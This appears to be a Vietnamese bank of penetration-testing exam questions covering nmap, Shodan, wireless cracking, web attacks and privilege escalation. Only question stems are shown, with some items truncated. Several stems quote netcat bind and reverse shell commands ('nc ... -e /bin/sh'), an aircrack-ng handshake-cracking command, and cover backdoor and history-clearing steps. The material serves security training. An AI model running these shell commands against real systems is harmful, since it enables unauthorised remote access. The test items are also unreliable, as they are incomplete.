Trong quá trình kiểm thử hệ thống, Peter muốn tiêm shellcode của mình vào một số chương trình hợp lệ trên hệ thống Window như calc.exe, mspaint.exe để kiểm tra khả năng bypass antivirus. Công cụ nào sau đây được phát triển cho mục đích này?

Thuật ngữ nào được sử dụng để môt tả các cuộc tấn công sử dụng kết nối Bluetooth của thiết bị để lấy cắp thông tin?

Công cụ nào dưới đây thường được sử dụng để thu thập một số thông tin về máy chủ & ứng dụng web như Platform, Webserver platform, Server headers, Cookie, Type of Script...?

Sau khi xâm nhập vào một máy chủ từ xa có địa chỉ 102.15.8.13, Cameron thực hiện câu lệnh sau trên máy chủ từ xa: H31

nc -lvp 4444 -e /bin/bash

Trong trường hợp Cameron muốn tạo bind shell, lệnh nào sau đây cần được thực hiện trên máy tính của anh í?

Kẻ tấn công lừa người dùng truy cập vào một trang web độc hại thông qua email lừa đảo. Người dùng nhấp vào liên kết email và truy cập trang web độc hại trong khi vẫn duy trì phiên hoạt động được xác thực với ngân hàng của mình. Kẻ tấn công thông qua trang web độc hại đã chỉ thị cho trình duyệt của người dùng gửi yêu cầu đến trang web ngân hàng mà người dùng không hề hay biết. Đây là dạng tấn công nào?

Steve đang tham gia kiểm thử xâm nhập một hệ thống của khách hàng và tiến hành thu thập thông tin mà không cần thực hiện dò quét hoặc thực hiện các tấn công thăm dò mục tiêu. Steve đang sử dụng phương pháp thu thập thông tin nào?

Trong quá trình kiểm thử mạng không dây, Tom thực hiện câu lệnh như hình dưới đây.

root@xali:~# aircrack-ng -b 12:34:56:78:90:AB /tmp/wpa_output*.cap

Mục đích của Tom trong trường hợp này là gì?

Jenny thực hiện kiểm thử cho một tổ chức và đã xâm nhập thành công vào một máy chủ Windows. Jenny cố gắng duy trì khả năng kết nối lâu dài tới hệ thống máy tính nạn nhân. Câu lệnh nào dưới đây có khả năng thực hiện việc đó?

Trong quá trình thực hiện kiểm thử, Alice đã thu được NetNTLMv2 hash sử dụng Responder. Lệnh nào dưới đây cho phép người kiểm thử bẻ khóa giá trị hash thu được sử dụng tấn công mặt nạ?

_________là cơ sở dữ liệu nào được tạo ra và duy trì bởi MITRE, trong đó nêu chi tiết các kĩ thuật, hành vi kẻ tấn công có thể thực hiện để tấn công các cơ quan, tổ chức.

Lệnh nào sau đây cho phép tìm kiếm các web server chạy IIS tại Việt Nam có mở port 22 khi sử dụng Shodan?

Trong quá tình kiểm thử ứng dụng web, Sam đang tạo 1 payload có nội dung như sau:

Trong quá trình kiểm thử mạng không dây. Tom có thu được 1 số lượng lớn các gói tin handshake. Lệnh nào dưới đây cho phép bẻ khóa PSK dựa trên gói tin handshake thu được sử dụng tập từ điển cho trước?

Trong quá trình dò quét nmap, Casey sử dụng cờ -O để xác định thông tin về hệ điều hành của hệ thống. Quá trình dò quét xác điịnh được thông tin về hệ thống như sau

Trong quá trình kiểm thử xâm nhập, Mary thu thập được một số thông tin xác thực cấp thấp cho máy chủ Linux thông qua tấn công kĩ nghệ xã hội. Sau khi kiểm tra và xác minh các thông tin đăng nhập này, Mary bắt đầu tìm kiếm cách thức thực hiện tấn công leo thang đặc quyền và có phát hiện ra thông tin sau:

Liam thực hiện kiểm thử cho hệ thống công ty X. Sau khi thực hiện xâm nhập thành công vào hệ thống, cô ấy thực hiện câu lệnh dưới đây trên máy mục tiêu:

nc 10.1.10.1 6666 -e /bin/sh

Liam đang cố gắng thực hiện việc gì

Loại nào sau đây không phải là khung chính được xác định bởi chuẩn IEEE 802.11?

Phương pháp bẻ khóa mật khẩu nào sau đây mất nhiều thời gian và công sức nhất, trong đó kẻ tấn công cố gắng mọi kết họp có của chữ hoa, chữ thường, chữ cái, số và kí tự đặc biệt?

Tom thực hiện quá trình quets cổng một hệ thống và kết quả quét cho thấy 6 cổng TCP đang mở là: 22, 80, 443,513, 631 và 9100, Thiết bị nào sau đây khả nhất

Sau khi thực hiện xâm nhập vào hệ thống mục tiêu bằng một tài khoản không có đặc quyền, Steve phát hiện ra rằng trên hệ thống mục tiêu có cài đặt nmap. Steve quyết định sử dụng nmap để dò quét các máy chủ khác trong mạng nội bộ. Tùy chọn nào cần được sử dụng để dò quét thành công các máy chủ khác khi sử dụng nmap bằng tài khoản không có đặc quyền mà Steve chếm được?

Đối với kiểm thử xâm nhập được tiến hành từ bên trong mạng nội bộ ( phía sau các giải pháp bảo vệ vành đai như Firewall, IDS/IPS), việc được cung cấp quyền tiếp cận hạn chế có nghĩa gì?

Trong quá trình kiểm thử, Jack muốn thực hiện dò quét mục tiêu bằng nmap tuy nhiên anh ấy chỉ có quyền ở mức người dùng thông thường. Khi đó, anh ấy nên sử dụng kỹ thuật dò quét nào?

Khi sử dụng nmap để dò quét cổng, tùy chọn nào được sử dụng để quét một cổng cụ thể?

Charleen được giao nhiệm vụ tiếp tục quá trình khai thác lỗ hổng trên hệ thống máy chủ Windows 2012. Các thông tin được chuyển giao bao gồm thông tin đăng nhập cấp người dùng trong hệ thống. Mục tiêu của cô ấy là có được quyền quản trị vào hệ thống máy chủ. Charleen đã thu được NTLM hash và muốn thực hiện tấn công pas-the-hash. Công cụ nào có thể được sử dụng trong trường hợp này

Trong các đáp án dưới đây thì đâu là 1 kiểu tấn công từ chối dịch vụ trong mạng không dây?

Sau khi xâm nhập được vào hệ thống mục tiêu, Jenny cố gắng thực hiện một số câu lệnh sau:

Kỹ thuật kiểm thử nào được thực hiện mà trong đó người kiểm thử không biết bất cứ thông tin nào về hệ thống mục tiêu và mục tiêu cũng không được thông báo trước khi tiến hành kiểm thử?

Khi thực hiện kiểm thử xâm nhập, Charles sử dụng nmap để dò quét hệ thống mục tiêu bằng lệnh sau:

nmap -sT -sV -T2 -p 1-65535 example.com

Sau khi xem quá trình dò quét chạy trong hơn hai giờ đồng hồ, anh ấy nhận ra rằng mình cần phải tối ưu hóa câu lệnh dò quét. Phương án nào dưới đây KHÔNG phải cách hữu ích để tăng tốc độ quét

Trong kiểm thử mạng không dây, Tom thực hiện câu lệnh như hình dưới đây

Renee đang tiến hành một cuộc kiểm thử xâm nhập vầ phats hiện ra bằng chứng cho thấy một trong những hệ thống của công ty khách hàng đã bị tấn công. Renee nên làm gì ngay sau khi xác nhận các nghi ngờ của mình?

.

Loại văn bản nào sau đây có giá trị pháp lí thường được sử dụng để tham chiếu cho việc bảo vệ tính bí mật của dữ liệu và các thông tin khác mà người kiểm thử có thể gặp phải?

Sau khi xâm nhập thành công vào hệ thống mục tiêu và tiến hành cài đặt backdoor, lệnh nào sau đây cho phép người kiểm thử xóa toàn bộ nội dung của phiên làm việc với terminal trên Linux?

Trong quá trình kiểm thử ứng dụng web, Jack phát hiện ra một số lỗ hổng nghiêm trọng. Anh ấy muốn lợi dụng các lỗ hổng này để tạo một tài khoản trái phép. Những tấn công nào dưới đây có thể được liên kết với nhau để dẫn đến việc tạo thành công tài khoản của Jack?

Norm đang thực hiện kiểm thử xâm nhập một ứng dụng web và muốn điều khiển các tham số đầu vào được gửi đến ứng dụng trước khi nó rời khỏi trình duyệt web. Công cụ nào sau đây có thể giúp Norm thực hiện việc này?

Kỹ thuật tấn công web nào dưới đây KHÔNG cho phép kẻ tấn công thực hiện đánh cắp phiên làm việc của người dùng hợp lệ?

Trong giai đoạn xác định phạm vi của kiểm thử xâm nhập, Lauren được cung cấp dải IP của hệ thống mà cô ấy sẽ kiểm tra cũng như thông tin về những gì hệ thống chạy nhưng không nhận được một sơ đồ mạng đầy đủ. Kỹ thuật kiểm thử nào được sử dụng trong trường hợp này?

Lệnh airmon-ng start wlan0 được sử dụng để thiết lập wireless adapter về chế độ_____.

Tệp_____ cho phép trình thu thập dữ liệu của công cụ tìm kiếm biết có thể truy cập vào những URL nào trên trang web. Trong đó có thể chứa các thông tin nhạy cảm mà người thực hiện kiểm thử cần quan tâm

_____là hình thức tấn công bằng mật khẩu được xây dựng dựa trên cuộc tấn công từ điển nhưng thêm các thành phần phổ biến hơn như 1 hoặc ! ở cuối mỗi từ. Phương pháp này được sử dụng để tìm kiếm những điều bất thường trong mật khẩu

Các công cụ HULK, LOIC, HOIC và SlowLoris có khả năng tạo ra tấn công nào dưới đây?

.

Khi thực hiện tìm thông tin sử dụng Google, lệnh nào dưới đây cho phép tìm kiếm các website có cấu trúc thư mục là /admin có phần mở rộng là .edu.vn

Trong quá trình kiểm thử hệ thống máy chủ mục tiêu, Harry phát hiện ra một lỗ hổng và quyết định sử dụng metasploit để thử khai thác lỗ hổng này. Giả sử các mục được điền trước là hợp lệ đối với máy chủ mục tiêu, Harry sẽ cần xác định tùy chọn nào trước khi có thể chạy mo-dun này?

Công cụ phổ biến nào được sử dụng để khám phá bị động mạng không dây và cung cấp nhiều tính năng tương tự như airodump-ng?

Mike đang tiến hành kiểm thử xâm nhập cho một ứng dụng web và phát hiện ra quá trình đăng nhập của người dùng đang sử dụng phương thức HTTP GET để gửi dữ liệu. Để giảm thiểu rủi ro lộ thông tin nhạy cảm, giải pháp nào sau đây có thể được sử dụng?

Khi thực hiện kiểm thử, Peter phát hiện ra có khả năng thực hiện tấn công SQL injection. Khi sử dụng chuỗi lệnh tiêm sau: H51

_____là quá trình thu thập thông tin khi tiến hành thực hiện kiểm thử xâm nhập, trong đó có thể áp dụng các kỹ thuật thu thập chủ động hoặc bị động.

Tom đang thực hiện kiểm thử ứng dụng web cho một ngân hàng sử dụng Nikto. Hiện tại, anh ấy muốn thu thập tất cả các yêu cầu ( request) được tạo ra bởi Nikto sử dụng Burp Suite Proxy trên cổng 8080. Lênh nào dưới đây cho phép anh ấy thực hiện việc này?

Trong quá trình thu thập và tìm kiếm thông tin của một kiểm thử xâm nhập vào hệ thống khách hàng, Angela đã khôi phục một bức ảnh và muốn kiểm tra, phân tích nó để tìm kiếm các thông tin hữu ích chứ trong metadata. Công cụ nào dưới đây là thích hợp NHẤT để thực hiện việc này?

Kiểu tấn công bẻ khóa mật khẩu nào dưới đây chỉ có thể được thực hiện theo hình thức " Tấn công chủ động"?

Wendy đang thực hiện một cuộc tấn công chiếm quyền điều khiển phiên. Wendy cần có được thông tin nào để có thể đảm bảo rằng cuộc tấn công của cô ấy sẽ thành công?

Trong quá trình dò quét cổng, dựa vào thông tin dưới đay ta có thể kết luận điều gì về kỹ thuật scan được sử dụng và trạng thái cổng được dò quét?

Công cụ nào dưới đây KHÔNG có khả năng dò quét lỗ hổng ứng dụng web?

Thông tin nào KHÔNG thể thu thập được thông qua kỹ thuật footprint?